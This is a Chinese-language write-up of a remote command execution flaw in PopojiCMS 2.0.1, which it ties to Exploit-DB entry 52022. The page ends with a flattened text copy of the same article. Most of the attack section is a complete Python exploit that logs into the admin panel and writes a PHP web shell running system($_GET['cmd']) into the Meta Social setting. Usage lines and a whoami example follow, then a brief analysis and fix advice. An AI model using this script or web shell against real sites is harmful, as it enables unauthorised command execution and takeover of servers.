PopojiCMS 2.0.1 - Remote Command Execution (RCE)
字数 1088 2025-08-22 22:47:39

PopojiCMS 2.0.1 远程命令执行(RCE)漏洞分析与利用

漏洞概述

PopojiCMS 2.0.1版本存在一个远程命令执行漏洞,攻击者可以通过后台设置功能注入恶意代码,从而在服务器上执行任意系统命令。

受影响版本

  • PopojiCMS 2.0.1

漏洞原理

该漏洞由两部分组成:

  1. 注入部分:后台的Meta Social设置功能未对用户输入进行过滤,允许直接写入恶意代码到meta_social.txt文件中
  2. 调用部分:前端代码直接包含meta_social.txt文件内容且未做任何过滤

具体流程:

  1. 攻击者通过后台登录
  2. /po-admin/route.php?mod=setting&act=metasocial提交恶意代码
  3. 代码被写入/po-admin/po-content/component/setting/meta_social.txt
  4. 前端index.php文件包含meta_social.txt内容
  5. 恶意代码被执行

漏洞利用步骤

1. 准备环境

下载受影响版本:

https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip

2. 利用过程

使用以下Python脚本进行利用:

import requests
import time
import sys

def exploit(url, username, password):
    # 登录
    login_url = f"{url}/po-admin/route.php?mod=login&act=proclogin"
    login_data = {
        "username": username,
        "password": password
    }
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": f"{url}/po-admin/index.php"
    }
    
    session = requests.Session()
    login_response = session.post(login_url, data=login_data, headers=headers)
    
    if "Administrator PopojiCMS" in login_response.text:
        print("Login Successful!")
        time.sleep(1)
    else:
        print("Login Failed!")
        return
    
    # 注入恶意代码
    edit_url = f"{url}/po-admin/route.php?mod=setting&act=metasocial"
    edit_data = {
        "meta_content": """<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
</pre>
</body>
</html>"""
    }
    
    edit_response = session.post(edit_url, data=edit_data, headers=headers)
    
    if "cmd" in edit_response.text:
        print("Your shell is ready:", url)
        time.sleep(1)
    else:
        print("Exploit Failed!")
        return

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py sitename username password")
        sys.exit(1)
    
    url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    print("Exploiting...")
    time.sleep(1)
    print("Logging in...")
    time.sleep(1)
    exploit(url, username, password)

使用方式:

python exploit.py <目标URL> <用户名> <密码>

3. 执行命令

注入成功后,访问网站根目录并附加cmd参数执行命令:

http://target-site.com/?cmd=whoami

漏洞分析

关键文件

  1. 注入点:

    • /po-admin/route.php?mod=setting&act=metasocial
    • 对应处理代码在/po-admin/po-contents/component/setting模块中的metasocial函数
  2. 代码写入位置:

    • /po-admin/po-content/component/setting/meta_social.txt
  3. 代码包含点:

    • po-content/themes/chingsy/index.php中包含meta_social.txt内容

漏洞触发流程

  1. 攻击者提交恶意代码到Meta Social设置
  2. 代码被直接写入meta_social.txt
  3. 前端index.php包含该文件
  4. 恶意代码被执行

修复方案

官方在v3.0.0版本中直接移除了该功能点。

临时修复建议:

  1. 对Meta Social设置输入进行严格过滤
  2. 对包含的文件内容进行安全检查
  3. 升级到最新版本

参考链接

  • Exploit-DB: https://www.exploit-db.com/exploits/52022
  • PopojiCMS下载: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
PopojiCMS 2.0.1 远程命令执行(RCE)漏洞分析与利用 漏洞概述 PopojiCMS 2.0.1版本存在一个远程命令执行漏洞,攻击者可以通过后台设置功能注入恶意代码,从而在服务器上执行任意系统命令。 受影响版本 PopojiCMS 2.0.1 漏洞原理 该漏洞由两部分组成: 注入部分 :后台的Meta Social设置功能未对用户输入进行过滤,允许直接写入恶意代码到 meta_social.txt 文件中 调用部分 :前端代码直接包含 meta_social.txt 文件内容且未做任何过滤 具体流程: 攻击者通过后台登录 向 /po-admin/route.php?mod=setting&act=metasocial 提交恶意代码 代码被写入 /po-admin/po-content/component/setting/meta_social.txt 前端 index.php 文件包含 meta_social.txt 内容 恶意代码被执行 漏洞利用步骤 1. 准备环境 下载受影响版本: 2. 利用过程 使用以下Python脚本进行利用: 使用方式: 3. 执行命令 注入成功后,访问网站根目录并附加 cmd 参数执行命令: 漏洞分析 关键文件 注入点: /po-admin/route.php?mod=setting&act=metasocial 对应处理代码在 /po-admin/po-contents/component/setting 模块中的 metasocial 函数 代码写入位置: /po-admin/po-content/component/setting/meta_social.txt 代码包含点: po-content/themes/chingsy/index.php 中包含 meta_social.txt 内容 漏洞触发流程 攻击者提交恶意代码到Meta Social设置 代码被直接写入 meta_social.txt 前端 index.php 包含该文件 恶意代码被执行 修复方案 官方在v3.0.0版本中直接移除了该功能点。 临时修复建议: 对Meta Social设置输入进行严格过滤 对包含的文件内容进行安全检查 升级到最新版本 参考链接 Exploit-DB: https://www.exploit-db.com/exploits/52022 PopojiCMS下载: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip